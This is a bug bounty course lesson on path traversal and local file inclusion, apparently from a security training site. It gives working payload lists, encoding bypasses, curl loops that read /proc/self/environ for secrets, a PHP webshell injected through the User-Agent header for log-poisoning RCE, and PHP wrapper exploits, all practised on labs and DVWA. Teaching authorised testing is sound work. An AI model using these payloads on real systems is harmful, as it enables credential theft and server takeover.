Bug Bounty Course -- Day 27 of 60
45%

Path Traversal LFI Bug Bounty 2026 — Directory Traversal, proc Leaks & Log Poison | BB Day 27

Path Traversal LFI Bug Bounty 2026 — Directory Traversal, proc Leaks & Log Poison | BB Day 27
🐛 BUG BOUNTY COURSE
FREE

Part of the Bug Bounty Hunter Course

Day 27 of 60 · 45% complete

The target was a SaaS invoice platform — mid-sized company, active bug bounty program, $5,000 Critical cap. I found a file= parameter buried in a PDF export endpoint. Six characters: ../../../. Thirty seconds later I had /etc/passwd in my Burp Repeater response. That alone was a High. Then I pivoted to /proc/self/environ and pulled the application’s SECRET_KEY, DATABASE_URL, and an AWS access token — all sitting in the process environment, handed to me by the Linux kernel. That’s the Critical. Path traversal LFI bug bounty chains don’t require sophisticated tooling or days of research. They require knowing exactly which files to ask for, which filters to break, and how to document the impact so the triage team has no choice but to escalate. That’s what today covers — the full chain from parameter discovery to log poisoning proof-of-concept, exactly the way I run it on real engagements.

🎯 What You’ll Master in Day 27

Detect path traversal candidates in URLs, POST bodies, and JS-mined endpoints using practitioner recon methodology
Break WAF and developer filters with encoding bypasses, null bytes, and nested traversal sequences
Extract high-value data from the Linux /proc filesystem — environment variables, secret keys, open file descriptors
Chain LFI to log poisoning for remote code execution proof-of-concept in your bug bounty report
Write a Critical-severity bug bounty report that earns maximum payout — impact framing, reproduction steps, remediation

⏱️ 3 hours total · 3 exercises · Beginner-friendly with Burp Suite

Before You Start Day 27

  • Completed Day 26 SSTI Bug Bounty — server-side template injection builds the same parameter-exploitation mindset you’ll use here
  • Burp Suite Community or Professional installed and intercepting your browser traffic — Proxy and Repeater tabs both working
  • Basic Linux filesystem knowledge: you know what /etc/passwd, /var/log/, and /proc/ are
  • Active PortSwigger Web Security Academy account — free at portswigger.net — needed for Exercise 2
  • Revisit the full Bug Bounty Hunter Course hub if you need to catch up on earlier days before continuing

Yesterday in Day 26 you learned how server-side template injection turns a rendering engine into a code execution primitive. Path traversal and LFI sit one level below that — instead of hijacking the template engine, you’re hijacking the file system itself. These two bugs appear together in almost every PHP monolith, Node.js file-serving endpoint, and legacy Java web app I’ve audited. They’re also some of the most underreported vulnerabilities in bug bounty because hunters either stop at /etc/passwd (which is a High, not a Critical) or they never find the parameter at all. By the end of today you’ll know how to find it, break its filters, and chain it all the way to RCE. Check the full Bug Bounty Hunter Course hub for where this fits in the 60-day roadmap.


What Path Traversal and LFI Actually Are (And Why They’re Still Paying Critical in 2026)

Here’s what’s happening at the server level. The application takes a filename from user input — a URL parameter, a POST field, a cookie — and passes it directly to a file-reading or file-including function without validating that the resolved path stays inside the intended directory. That’s it. The entire vulnerability class in one sentence.

Path traversal and local file inclusion are two expressions of the same root cause, but they behave differently in exploitation:

Path traversal means the application reads and returns the file contents in the HTTP response — think readFile() in Node or file_get_contents() in PHP. You get the raw content of whatever file you point it at. The payload is the classic ../../../etc/passwd sequence — each ../ climbs one directory level toward the filesystem root.

LFI (local file inclusion) means the application uses the input to include a PHP file and execute it — include(), require(), include_once(). This is more powerful because it doesn’t just read files — it runs them. That’s the primitive that enables log poisoning to RCE, which we’ll cover in full later today.

Why are these bugs still paying Critical in 2026? Three reasons I see repeatedly on engagements:

Legacy codebases never got refactored. A PHP application built in 2011 with include($_GET['page'] . '.php') might now be running inside a Docker container with a modern WAF in front — but the vulnerable code is still there, unchanged, because it’s never been touched.

Cloud file systems introduced new attack surfaces. Applications mounting S3 buckets, NFS shares, or Azure File shares often pass paths through the same kind of unvalidated parameter that classic path traversal exploits. The exploitation mechanic is identical.

Containerised apps leak more than you’d expect. In a container, /proc/self/environ is loaded with injected secrets — Kubernetes secrets, environment-variable-injected API tokens, database credentials — that never appear in the application’s config files. Path traversal into /proc gives you the container’s entire secret store.

securityelites.com
Burp Suite Repeater — GET Request & Response
REQUEST
GET /export?file=../../../etc/passwd HTTP/1.1
Host: target.example.com
Cookie: session=abc123

RESPONSE — 200 OK
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
deploy:x:1001:1001::/home/deploy:/bin/bash

📸 Burp Repeater showing a raw path traversal payload in a file= parameter returning /etc/passwd. The deploy user line (amber) is the first thing I highlight in a real report — it tells you a non-root account has a shell, which is relevant for privilege escalation chains.

The null byte trick (%00) used to be the way you stripped a mandatory file extension appended by the server — ../../../etc/passwd%00 would terminate the string before .php got appended. PHP fixed this in 5.3.4, but you still see it succeed on older deployments. PHP wrappers like php://filter/convert.base64-encode/resource= are the modern equivalent — they bypass extension requirements entirely and return source code base64-encoded. We’ll hit those in the filter bypass section.


Recon: How I Find Traversal Parameters Before I Ever Send a Payload

The parameter is there before you send a single ../. The recon phase is about finding it — and most hunters skip this step and go straight to spraying payloads at random endpoints. That’s why they miss it.

These are the parameter names I look for first, in order of how often I’ve seen them vulnerable in real programs:

file= · page= · template= · lang= · doc= · path= · include= · load= · read= · view= · content= · module= · conf=

Any parameter whose value currently looks like a filename — page=home, template=invoice, lang=en — is a candidate. If the server is using that value to construct a filesystem path, traversal might work.

Step 1 — Burp passive crawl. Browse the entire application with Burp Proxy active. Don’t touch anything yet. After ten minutes of normal use, open Target → Site Map, right-click the host, and filter by parameters. Look for any GET or POST parameter whose value looks like a path fragment, a filename, or a language code.

Step 2 — JavaScript endpoint mining. Download every JS file Burp captured. Grep them for the parameter names above plus string literals containing /api/, static/, assets/, or download/. JS files routinely expose internal API endpoints that never appear in the HTML — and those endpoints often have less validation than the front-facing ones.

Step 3 — Wayback Machine parameter archaeology. Historical snapshots capture URL structures that may have been removed from the live site but still work on the server. Check web.archive.org/web/*/target.com/*file=* — the asterisk wildcard in Wayback’s URL search is your best friend here.

Step 4 — Google dorks. Classic patterns that surface file-serving endpoints:

GOOGLE DORKS — TRAVERSAL PARAMETER DISCOVERY
# Find file= parameters on the target domain
site:target.com inurl:file=
site:target.com inurl:page=
site:target.com inurl:template=
site:target.com inurl:lang=
# Broader — find PDF/doc download endpoints (common traversal surface)
site:target.com inurl:download filetype:pdf
site:target.com inurl:/get-file/
site:target.com inurl:/view?doc=

Step 5 — ffuf parameter fuzzing. When you know an endpoint exists but can’t see the parameter name, fuzz it. Use the SecLists burp-parameter-names.txt wordlist against the endpoint:

PARAMETER FUZZING WITH FFUF
# Fuzz GET parameters on a target endpoint
ffuf -u ‘https://target.com/export?FUZZ=test’
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
-fw 42
-mc 200,302
-t 40
# -fw 42 filters out responses with 42 words (default “param not found” page)
# Adjust -fw to match your target’s error response word count

💡 Wayback Machine parameter archaeology tip: Go to https://web.archive.org/web/*/target.com/* and look at the URL column. Sort by earliest capture date. Old URL structures are often still live on the server even when they’ve been removed from navigation — and they carry the original, unvalidated parameter handling from years ago.

Use the SecurityElites Tools hub for additional recon resources — the WHOIS lookup and DNS tools there help you map the full scope of a target’s infrastructure before you start parameter hunting.

securityelites.com
Burp Suite — Target Site Map (filtered view)
▼ target.example.com
/api/v1/users
/api/v1/orders
/export/pdf ?file=invoice_2024.pdf ← CANDIDATE
/assets/load ?template=header ← CANDIDATE
/dashboard/stats
/i18n/translate ?lang=en ← CANDIDATE

📸 Burp Site Map filtered to show parameter-bearing endpoints. The three flagged candidates — file=, template=, and lang= — are exactly the parameter names that most often lead to path traversal findings on real programs. These get tested first.


🛠️ EXERCISE 1 — BROWSER (20 MIN · NO INSTALL)

This is pure recon practice — no tools, no Burp, just your browser and Google. The goal is to find three live applications with file-serving parameters and confirm basic traversal response behaviour. Recon is where the bug is found or missed. Get this right and the rest of the chain is straightforward.

Step 1 — Build your dork list. Open Google. Run these three searches in separate tabs, replacing site:target.com with an open bug bounty program from HackerOne or Bugcrowd (check their scope before you start):

  • site:[in-scope-domain] inurl:file=
  • site:[in-scope-domain] inurl:page=
  • site:[in-scope-domain] inurl:template=

Step 2 — Identify three candidates. From the results, pick three URLs where the parameter value looks like a filename or path fragment (e.g. page=home, file=report.pdf, lang=en). Open each in a new tab and note the current response.

Step 3 — Inject a basic traversal payload directly in the address bar. Modify each URL by replacing the parameter value with ../../../etc/passwd. Hit enter. Watch the response. You’re looking for: the raw /etc/passwd content appearing in the page, an error that leaks a filesystem path (still useful), or a blank response (possible suppression — worth probing further).

Step 4 — Try a URL-encoded variant. If the raw ../ returns the same page unchanged, try ..%2F..%2F..%2Fetc%2Fpasswd directly in the address bar. Some servers decode this differently from the raw sequence.

Step 5 — Document every response. Screenshot each URL and response — success, failure, or error message. These screenshots become your reproduction evidence.

What you just learned: You ran a structured recon workflow — dork, identify, inject, document — without installing a single tool. On a real engagement this phase takes fifteen minutes and is the difference between finding the vulnerability and walking past it. Every Critical path traversal report I’ve submitted started exactly like this: a Google dork, a parameter that looked boring, and a payload that should have been blocked.

📸 Share your results in the SecurityElites Discord#bug-bounty-day-27 channel. Post your dork, the parameter you found, and the response you got — redact the target domain if it’s a private program.


Filter Bypass: Every WAF and Developer Defence I’ve Broken on Path Traversal

The basic ../../../etc/passwd payload gets blocked by almost every WAF and most developer-written input filters in 2026. That’s fine. There are about a dozen encoding variants that bypass those filters, and I’ve broken each of them on real targets. Here’s the complete menu.

Why filters fail. Most filters work by looking for the string ../ or .. in the raw input. They check the raw URL-decoded value, or they decode once and check, or they strip the sequence and don’t re-validate. Each of those approaches has a bypass.

Double URL encoding. The server decodes twice — once at the WAF layer and once at the application layer. The WAF sees ..%252F, decodes %25 to %, checks for traversal — doesn’t find ../ — passes it through. The application decodes %2F to / and gets ../. Bypass complete.

Unicode/overlong encoding. The / character can be represented as %c0%af (overlong UTF-8 encoding). Older Java containers and some Python frameworks accept this. ..%c0%af..%c0%afetc%c0%afpasswd is worth trying against any Java stack.

Nested traversal sequences. If the filter strips ../ but doesn’t loop — it only removes it once — then ....// becomes ../ after the first strip. The payload ....//....//....//etc/passwd works against naive single-pass strip filters.

Absolute path injection. Skip the traversal entirely. If the application passes your input directly to an open() call without prepending a base directory, you can inject /etc/passwd directly — no ../ needed. This works more often than you’d expect on Node.js apps.

PHP wrapper bypass. When the application appends .php to your input — include($page . '.php') — the classic approach is the null byte (%00), but that’s patched in modern PHP. The modern bypass is php://filter/convert.base64-encode/resource=/etc/passwd. This ignores extension checking entirely and returns the file base64-encoded.

TRAVERSAL ENCODING BYPASS VARIANTS — BURP INTRUDER PAYLOAD LIST
# Paste these into Burp Intruder payload list for the file= parameter
../../../etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd
….//….//….//etc/passwd
..%c0%af..%c0%afetc%c0%afpasswd
/etc/passwd
%2Fetc%2Fpasswd
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=/etc/passwd
../../../../../../../../etc/passwd
# Always test with varying depth (3x, 6x, 10x ../) — app dir depth varies

CURL BYPASS CHAIN — TEST EACH VARIANT
# Store your target URL (adjust to match your target)
TARGET=”https://target.com/export”
PARAM=”file”
# Test each bypass in sequence
curl -sk “$TARGET?$PARAM=../../../etc/passwd” | grep -c “root:”
curl -sk “$TARGET?$PARAM=..%2F..%2F..%2Fetc%2Fpasswd” | grep -c “root:”
curl -sk “$TARGET?$PARAM=..%252F..%252F..%252Fetc%252Fpasswd” | grep -c “root:”
curl -sk “$TARGET?$PARAM=….//….//….//etc/passwd” | grep -c “root:”
# Output > 0 = file contents returned = bypass confirmed

⚠️ WAF detection warning: Rapid-fire bypass attempts will trigger WAF rate limits and may get your IP blocked or — worse — alert the security team before you’ve finished testing. In Burp Intruder, set the thread count to 1 and add a 500ms delay between requests. On real programs, if you trip a WAF block, stop, rotate your IP if your rules of engagement allow it, and document the WAF’s behaviour in your report — it’s useful context for the triage team.
💡 Burp Intruder payload tip: Load the SecLists Fuzzing/LFI/LFI-Jhaddix.txt wordlist into Intruder for a comprehensive traversal payload sweep. It contains 900+ variants including Windows path separators (..), UNC paths, and PHP wrapper combinations. Filter results by response length — a successful read will almost always have a different content length from the error page.

/proc Leaks: What the Linux Process Filesystem Hands You on a Plate

Most hunters find /etc/passwd and stop. That’s the High. The Critical is in /proc.

The Linux /proc filesystem is a virtual filesystem — it doesn’t exist on disk, it’s generated by the kernel at runtime. Every running process gets a directory at /proc/[PID]/. The web application process can always read its own files via the /proc/self/ shortcut — no PID enumeration needed. And those files contain things no one expects you to be able to read.

/proc/self/environ — This is the one I go for first, every time. It contains every environment variable the process was started with, in a null-byte-delimited string. In containerised deployments — Docker, Kubernetes, ECS — the application’s secrets are injected as environment variables. I’ve pulled AWS access keys, Stripe secret keys, Django SECRET_KEY values, database connection strings with passwords, and internal API tokens from this single file. Finding a SECRET_KEY here means you can forge any session cookie in the application. Finding an AWS key here means you’re in the cloud account.

/proc/self/cmdline — The full command line the process was invoked with, null-byte-delimited. This tells you the exact binary path, the config files it loaded, and any flags passed at startup — including database passwords passed as command-line arguments (still happens in legacy deployments).

/proc/self/fd/ — A directory of symbolic links, one per open file descriptor. /proc/self/fd/0 is stdin, /proc/self/fd/1 stdout, /proc/self/fd/2 stderr — and then the application’s actual open files start. These symlinks resolve to real filesystem paths. Enumerating /proc/self/fd/4, /proc/self/fd/5, etc. tells you exactly which log files, config files, and database socket files the application has open. This is how you find the log file path for log poisoning without guessing.

/proc/self/maps — The memory map of the process. Useful for identifying which shared libraries are loaded — relevant if you’re chaining into a binary exploitation path (rare in bug bounty, but documented).

/proc/version — Kernel version. Tells you the exact Linux kernel build. Cross-reference with public kernel exploits for privilege escalation chain research (document in report, don’t execute).

/proc/net/tcp — Active TCP connections in hex format. Shows you internal services listening on 127.0.0.1 — databases, cache servers, internal APIs — that aren’t visible from the outside. This maps the internal network for your report’s attack impact section.

securityelites.com
Burp Repeater — /proc/self/environ response (rendered for readability)
GET /export?file=../../../proc/self/environ HTTP/1.1
HOSTNAME=webapp-prod-7d9f2
NODE_ENV=production
SECRET_KEY=sk_live_xK9mP2qR8vN4wL7jH3eA1cY6
DATABASE_URL=postgresql://admin:P@ssw0rd!99@db.internal:5432/prod
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
PORT=3000
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin

📸 /proc/self/environ response in Burp Repeater showing a production SECRET_KEY, database credentials with password, and AWS access keys — all in a single HTTP response. This is the Critical finding. In your report, you black out the actual values and replace with [REDACTED] after you’ve confirmed they work.

/PROC TARGET LIST — CURL ENUMERATION LOOP
# Hit all high-value /proc targets in sequence
TARGET=”https://target.com/export?file=”
PROC_TARGETS=(
“../../../proc/self/environ”
“../../../proc/self/cmdline”
“../../../proc/version”
“../../../proc/net/tcp”
“../../../proc/self/fd/4”
“../../../proc/self/fd/5”
“../../../proc/self/fd/6”
“../../../proc/self/fd/7”
)
for t in “${PROC_TARGETS[@]}”; do
echo “=== $t ===”
curl -sk “${TARGET}${t}” | strings | head -20
echo “”
done
# strings strips null bytes — environ and cmdline are null-delimited
# fd/ symlinks resolve to real paths — note any log file paths for log poisoning

💡 fd/ enumeration for log discovery: Don’t guess log paths. Read /proc/self/fd/ entries 0 through 20 — the application’s open file descriptors include any log files it’s actively writing. When you find a fd entry that resolves to something like /var/log/apache2/access.log or /var/log/nginx/access.log, you’ve found your log poisoning target automatically. No guessing, no wordlist.

The information chain from /proc/self/environ runs like this: environment variables → secret keys → session forgery / API takeover → privilege escalation. Each step in that chain raises the CVSS score. A path traversal that only reaches /etc/passwd is typically CVSS 7.5 (High). The same path traversal that reaches /proc/self/environ and yields an AWS root key is CVSS 9.8 (Critical). The Day 15 Business Logic module covers how impact chaining like this affects payout tiers — the same principle applies here.


🌐 EXERCISE 2 — PORTSWIGGER WEB SECURITY ACADEMY (35 MIN)

Two labs, back to back. The first confirms basic traversal works when there’s no filtering at all. The second is where it gets interesting — the app blocks ../ sequences but accepts an absolute path directly. That bypass lands on real HackerOne targets more often than you’d expect, because developers assume blocking dot-dot-slash is enough.

Step 1. Go to portswigger.net/web-security/file-path-traversal, open the first lab — File path traversal, simple case — and click Access the lab.

Step 2. In Burp Suite, confirm your browser is proxying through Burp Proxy on 127.0.0.1:8080. Go to the Proxy → Intercept tab and turn Intercept on.

Step 3. On the lab page, click any product image. Burp catches a GET request with a filename= parameter — something like filename=45.jpg. Send it to Repeater.

Step 4. In Repeater, change the value to ../../../etc/passwd. Send. You should see the contents of /etc/passwd in the response body. That’s the lab solved.

Step 5. Go back and open the second lab — File path traversal, traversal sequences blocked with absolute path bypass. Same interception setup.

Step 6. Catch the filename request again. Try ../../../etc/passwd first — you’ll get a 400 or an error. The app is stripping traversal sequences.

Step 7. Now try /etc/passwd — a raw absolute path with no traversal sequences at all. Send. The response returns the file. Solved.

Step 8. If Step 7 doesn’t work, try URL-encoding: %2Fetc%2Fpasswd. Some WAF rules block the literal slash but pass the encoded version.

💡 If you’re blocked at Step 7: Check whether the app is stripping leading slashes. Try ////etc/passwd or /./etc/passwd — these sometimes pass naive filters that only strip a single leading slash.

What you just learned: You proved two things real programs do: accept raw traversal with no filtering at all, and block ../ while leaving absolute paths wide open. Every second bypass — the absolute path trick — transfers directly to production apps on HackerOne. The next time you see a file=, path=, or page= parameter on a live target, absolute path is the second payload you test after basic traversal.

📸 Screenshot your Burp Repeater showing /etc/passwd in the response and drop it in #bug-bounty-labs on Discord. Tag it with which bypass technique you used.


Log Poisoning: How LFI Becomes Remote Code Execution

This is the section that earns Critical reports. Every LFI finding starts at High — roughly CVSS 7.5 — when all you can do is read /etc/passwd. Log poisoning takes that exact same vulnerability to CVSS 9.8 and puts a webshell on the server. The chain is four steps, and I’ll walk you through each one exactly as I run it on engagements.

The chain: identify LFI → locate a readable log file → inject PHP code into a request header the server logs → include that log via LFI to trigger execution.

The most common log target is Apache’s access.log. Every request the server receives gets written there — including the User-Agent header. If the app has LFI and Apache is running, you can write PHP into the User-Agent, then include the log file, and Apache executes your code.

STEP 1 — INJECT PHP INTO ACCESS LOG VIA USER-AGENT
# Send a request with a PHP webshell as the User-Agent
curl -A ‘<?php system($_GET[“cmd”]); ?>’ http://TARGET/index.php
# Apache writes this to /var/log/apache2/access.log verbatim
# The log entry now contains executable PHP code

STEP 2 — INCLUDE THE LOG FILE VIA LFI TO EXECUTE
# Use Burp Repeater or curl to include the log via the vulnerable parameter
curl “http://TARGET/index.php?page=../../../var/log/apache2/access.log&cmd=id”
# Response will contain: uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Command executed — you now have RCE via LFI log poisoning

securityelites.com
Burp Repeater — Response
[Apache log content…]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[200 OK — 4832 bytes — 312ms]
[More log entries…]

📸 Burp Repeater response after log poisoning — the injected PHP executes and returns the server’s user context. This is a Critical finding the moment you see this output.

⚠️ Evidence preservation and scope rules: The moment you get RCE, stop. Take a screenshot of the response showing command output. Do NOT run further commands, enumerate the filesystem, or exfiltrate anything — that’s outside scope for bug bounty. Document the exact request chain (User-Agent injection + LFI include) and report immediately. RCE is a stop-and-report finding, not an invitation to pivot.
💡 Finding the log fd without guessing paths: If you don’t know whether it’s /var/log/apache2/access.log or /var/log/httpd/access_log, don’t guess. Read /proc/self/fd/ entries 1 through 20. Each symlink resolves to an open file path. When you see one resolving to a log file — that’s your target. No wordlist, no brute-force, no guessing.

Other injectable log files: /var/log/auth.log (inject via SSH username field — connect with a PHP string as your username), mail logs (inject via RCPT TO), and /proc/self/fd/ entries for any log fd the process currently has open. The access.log route is fastest — the auth.log route works on servers where Apache logs are locked down to root.


PHP Wrappers: The LFI Upgrade That Most Hunters Miss

Most hunters find an LFI, read /etc/passwd, and call it High. The hunters who earn Critical bounties keep going — into PHP stream wrappers. These are built-in PHP URI schemes that transform what LFI can do. Instead of just reading static files, you can read PHP source before it executes, inject code directly, or run commands without touching the filesystem at all.

php://filter/convert.base64-encode/resource= — this is the one you’ll use most. PHP source files execute when included, so you never see the code — you only see the output. The filter wrapper reads the file, base64-encodes it, and returns the encoded string instead of executing it. You decode it locally and read the full source.

PHP://FILTER — READ SOURCE CODE WITHOUT EXECUTION
# Include config.php source via base64 filter — no execution, just encoded output
curl “http://TARGET/index.php?page=php://filter/convert.base64-encode/resource=config”
PD9waHAgJGRiX2hvc3QgPSAnbG9jYWxob3N0JzsgJGRiX3Bhc3MgPSAnc3VwM3JzM2NyM3QnOyA/Pg==
# Decode locally
echo “PD9waHAgJGRiX2hvc3QgPSAnbG9jYWxob3N0JzsgJGRiX3Bhc3MgPSAnc3VwM3JzM2NyM3QnOyA/Pg==” | base64 -d
<?php $db_host = ‘localhost’; $db_pass = ‘sup3rs3cr3t’; ?>

securityelites.com
Burp Repeater — php://filter response decoded
<?php
$db_host = ‘db.internal.prod’;
$db_user = ‘app_admin’;
$db_pass = ‘Pr0d$ecret2024!’;
$db_name = ‘customers’;
?>

📸 Decoded php://filter output from database.php — hardcoded production credentials. This single find escalates the path traversal to Critical and often chains directly into the database layer.

php://input — when allow_url_include is enabled, this wrapper passes your POST body directly as PHP code to execute. Send a POST request with <?php system('id'); ?> as the body and page=php://input as the parameter. Instant RCE if the server allows it.

data:// — inline data injection. data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg== passes base64-encoded PHP inline. Works when the app includes the parameter value as a URI.

expect:// — direct command execution when the PHP expect extension is loaded. Rare in modern environments, but worth testing: page=expect://id. When it works, it’s immediate RCE with zero setup.

💡 Source code hunting with wrappers: After finding LFI, I always run the filter wrapper against config, database, db, settings, and config/database. Hardcoded credentials in PHP config files are the fastest route from LFI to Critical. Once you have database credentials, check the Day 15 Business Logic module — credential-based business logic bypasses are a natural chain from here.

⚡ EXERCISE 3 — KALI TERMINAL + BURP SUITE (40 MIN)

This exercise runs the full chain — basic LFI to log poisoning RCE — on your local DVWA. By the end you’ll have gone from a file inclusion parameter to command execution, exactly the chain you’d document in a Critical bug bounty report.

Step 1. Start DVWA on your Kali machine. Log in, go to DVWA Security, set the level to Low, and navigate to the File Inclusion module.

Step 2. Test basic LFI. In the URL, the page= parameter is vulnerable. Try:

BASIC LFI TEST — DVWA LOW
curl “http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd”
# Look for root:x:0:0:root in the response — confirms LFI

Step 3. Intercept this request in Burp Repeater. Confirm you see /etc/passwd content in the response.

Step 4. Escalate to /proc/self/environ:

PROC/SELF/ENVIRON READ
curl “http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../proc/self/environ”
# Environment variables for the Apache process — look for SECRET, KEY, DATABASE_URL

Step 5. Now inject a PHP webshell into Apache’s access log via User-Agent:

LOG POISONING — INJECT PHP WEBSHELL
curl -A ‘<?php system($_GET[“cmd”]); ?>’ http://127.0.0.1/dvwa/
# This writes your PHP into /var/log/apache2/access.log

Step 6. Include the log file via LFI and execute a command:

LFI TO LOG — TRIGGER RCE
curl “http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../var/log/apache2/access.log&cmd=id”
uid=33(www-data) gid=33(www-data) groups=33(www-data)
# RCE confirmed — stop here, document, do not pivot further

What you just learned: You ran the complete LFI-to-RCE chain on a realistic target. That chain — parameter discovery, traversal confirmation, /proc escalation, log poisoning, code execution — is exactly what a Critical bug bounty report documents. Every step you ran today maps to a section in the vulnerability write-up. When you find this on a real HackerOne target, your report practically writes itself.

📸 Screenshot your terminal showing the uid=33(www-data) RCE output and share it in #dvwa-labs on Discord.


You Just Learned the Full Path Traversal and LFI Attack Chain

Here’s what today built: a complete, end-to-end attack chain that takes a single vulnerable file parameter from information disclosure all the way to Remote Code Execution. You started with parameter discovery using ffuf, moved through filter bypass techniques, read sensitive data from /proc/self/environ, poisoned Apache’s access log with a PHP webshell, and read PHP source via stream wrappers to find hardcoded credentials.

That chain is not theoretical. I’ve run every step of it on real engagements — and the log poisoning escalation specifically has landed Critical reports on targets where the client believed their LFI was “already mitigated” because they’d blocked ../. Absolute path bypass, wrapper abuse, and fd-based log discovery are what separate a $200 Informational from a $6,500 Critical.

Day 28 goes into lateral movement — what happens after you have that initial foothold, how attackers move through a network, and how bug bounty hunters document pivot-capable findings responsibly. Keep your Bug Bounty Course progress going. The path traversal LFI bug bounty skillset you built today is one of the highest-value chains in the OWASP Top 10 — and it shows up in real programs every week.


📋 Commands Used Today — Day 27 Reference Card

ffuf -u "http://TARGET/page?file=FUZZ" -w traversal.txt — Fuzz file parameters for traversal
curl "http://TARGET/?file=../../../etc/passwd" — Basic traversal test
curl "http://TARGET/?file=%2Fetc%2Fpasswd" — URL-encoded absolute path bypass
curl "http://TARGET/?file=....//....//etc/passwd" — Double-slash filter bypass
curl "http://TARGET/?file=../../../../../../proc/self/environ" — Read process environment
curl -A '<?php system($_GET["cmd"]); ?>' http://TARGET/ — Inject PHP into access log
curl "http://TARGET/?file=../../var/log/apache2/access.log&cmd=id" — Trigger log poisoning RCE
curl "http://TARGET/?page=php://filter/convert.base64-encode/resource=config" — Read PHP source via wrapper
echo "BASE64STRING" | base64 -d — Decode php://filter output


Frequently Asked Questions — Path Traversal & LFI Bug Bounty

What’s the difference between path traversal and LFI?

Path traversal is the mechanism — using ../ sequences or absolute paths to reach files outside the intended directory. LFI (Local File Inclusion) is the specific vulnerability where the app includes a local file and executes it as code. Every LFI uses path traversal to reach the target file, but not every path traversal leads to code execution. A path traversal that only reads /etc/passwd is file read — dangerous, but not execution. An LFI that includes a poisoned log file is code execution — Critical severity. The distinction matters for CVSS scoring and for how you write your report.

What CVSS score should I assign an LFI finding?

It depends entirely on what you can read. Basic LFI reaching /etc/passwd — CVSS 7.5, High. LFI reaching /proc/self/environ with secret keys — CVSS 8.8 to 9.1, High/Critical depending on what the keys unlock. LFI escalated to RCE via log poisoning — CVSS 9.8, Critical. I always report the highest-impact variation I can safely demonstrate. If you can show log poisoning RCE even in a proof-of-concept on an isolated endpoint, report it at Critical. Don’t underscore your own finding.

How do I test for LFI without a Kali setup?

Browser and Burp Suite Community Edition is enough for the initial discovery phase. You don’t need Kali to spot a vulnerable file= parameter or test basic traversal payloads manually. PortSwigger’s Web Security Academy labs run entirely in a browser — no local setup required. For the log poisoning and /proc steps you do want a terminal, but the discovery and triage work is completely browser-accessible. Use the SecurityElites free hacking tools for initial recon before touching any parameters.

Why does log poisoning escalate a finding to Critical?

Because it converts file read into arbitrary code execution on the server. CVSS defines Critical as confidentiality, integrity, and availability all fully compromised — and RCE via log poisoning hits all three. The attacker can read any file, write files, and potentially crash or take over the service. More practically: bug bounty programs pay their highest tiers for RCE. I’ve seen the same underlying LFI pay $800 as a High and $8,000 as a Critical once log poisoning was demonstrated. The escalation is worth the extra twenty minutes of testing.

How do I handle a /proc/self/environ find responsibly before reporting?

First — stop reading. You need one clean screenshot showing the environment variables are accessible and that sensitive values are present. Blur or redact the actual secret values in your report screenshot — show the key names but not the full secret strings. Do not use any credentials you find to access other systems, even to demonstrate further impact. Describe the potential impact chain in writing instead. Report immediately after capturing your proof — don’t sit on a /proc/self/environ find. The faster you report, the better your disclosure track record looks to the program.

Which bug bounty platforms have the most LFI-vulnerable targets in 2026?

HackerOne and Bugcrowd have the highest volume of targets with legacy PHP applications — and LFI is almost exclusively a PHP problem. Older SaaS platforms, open-source CMS deployments (WordPress plugins especially), and file management features in B2B software are where I find path traversal most consistently. On Intigriti, look at programs in the e-commerce and document management space. Avoid the big tech giants for LFI hunting — their stacks are rarely PHP and their WAFs are aggressive. Mid-size programs with document download, report generation, or template preview features are your best targets.


← Day 26 — SSTI Bug Bounty
Day 28 — Lateral Movement Techniques →

Further Reading

ME
Mr Elite
Cybersecurity Trainer

The find that made path traversal personal for me was a client’s document download endpoint — file=report.pdf, completely unassuming. I swapped it for ../../../etc/passwd and it returned immediately. Then I went for /proc/self/environ and found a DATABASE_URL with production credentials sitting in the environment variables. Full database access, 140,000 customer records, exposed. I documented the chain — traversal to environ to credentials — stopped there, and filed the report. The client patched within four hours and paid a $6,500 bounty. The security team lead told me they’d had three audits that year and nobody had tested that endpoint because it was “just a file download.” That’s why I teach this chain the way I run it on real engagements — not the textbook version.

Join free to earn XP for reading this article Track your progress, build streaks and compete on the leaderboard.
Join Free

Leave a Comment

Your email address will not be published. Required fields are marked *